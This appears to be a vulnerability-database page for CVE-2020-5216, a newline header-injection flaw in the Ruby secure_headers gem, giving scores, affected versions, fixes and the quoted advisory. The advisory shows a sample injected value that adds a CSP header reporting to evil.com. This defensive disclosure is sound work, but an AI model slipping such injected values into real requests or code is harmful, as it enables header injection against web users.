How severe is GHSA-w978-rmpf-qmwg?

GHSA-w978-rmpf-qmwg has a CVSS score of 4.4/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-w978-rmpf-qmwg?

GHSA-w978-rmpf-qmwg affects the following packages: secure_headers (RubyGems), secure_headers (RubyGems), secure_headers (RubyGems). Ecosystems affected: RubyGems.

How do I fix GHSA-w978-rmpf-qmwg?

Update secure_headers to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w978-rmpf-qmwg is resolved across your whole dependency graph.

How do I detect GHSA-w978-rmpf-qmwg in my RubyGems dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secure_headers, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-w978-rmpf-qmwg if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is GHSA-w978-rmpf-qmwg actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-w978-rmpf-qmwg, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-w978-rmpf-qmwg?

GHSA-w978-rmpf-qmwg has an EPSS (Exploit Prediction Scoring System) score of 1.2%, placing it in the 68th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-w978-rmpf-qmwg?

GHSA-w978-rmpf-qmwg is classified as CWE-113 (CWE-113), CWE-74 (CWE-74). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-w978-rmpf-qmwg published, and has it been updated?

GHSA-w978-rmpf-qmwg was published on January 23, 2020 and was last updated on July 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

💎

💎 RubyGems

Not in CISA KEV

MEDIUM severity

Limited header injection when using dynamic overrides with user input in RubyGems secure_headersGHSA-w978-rmpf-qmwg

MEDIUMFix: twitter/secure_headers@3016957

GHSA-w978-rmpf-qmwg is a medium-severity (CVSS 4.4) CWE-113 vulnerability in secure_headers. 1 public exploit reference exists, so weaponization risk is real. A fix is available for secure_headers — see the affected versions and patch details below.

Also known asCVE-2020-5216

Published

Jan 23, 2020

Updated

Jul 8, 2026

Affected

3 pkgs

Patched

3 / 3

Exploits

1 known

Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗

1.2%probability of exploitation in next 30 days

Lower Risk+0.13%

Lower risk than most CVEs68th percentile — riskier than 68% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-w978-rmpf-qmwg by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

3 pkgs affected

💎secure_headers💎secure_headers💎secure_headers

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

Open an issue in this repo
DM us at @ndm on twitter

Affected Packages

3 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
💎RubyGems	`secure_headers`	≥ 6.0.0&&< 6.3.0	6.3.0`bundle update secure_headers --conservative`
💎RubyGems	`secure_headers`	≥ 5.0.0&&< 5.2.0	5.2.0`bundle update secure_headers --conservative`
💎RubyGems	`secure_headers`	all versions	3.9.0`bundle update secure_headers --conservative`

Affected Products

1 product · 3 configurations

Application

secure headerstwitter

≥ 6.0.0 && < 6.3.0

range

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

In Secure Headers (RubyGem secure_headers), a directive injection vulner…

github.comNVDFeb 2020

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for secure_headers, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update secure_headers to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w978-rmpf-qmwg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Satellite 6 ships Secure Header rubygem, however, it does not accept any user input in override_content_security_policy_directive or append_content_security_policy_directive. All directives are hard-coded and therefor Satellite 6 is not vulnerable to this CVE. We may update this rubygem in future release.

Product	Fixed in	Advisory
Red Hat Satellite 6.8 for RHEL 7	`ansible-collection-redhat-satellite-0:1.3.0-1.el7sat`	RHSA-2020:4366

Frequently Asked Questions

### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Secur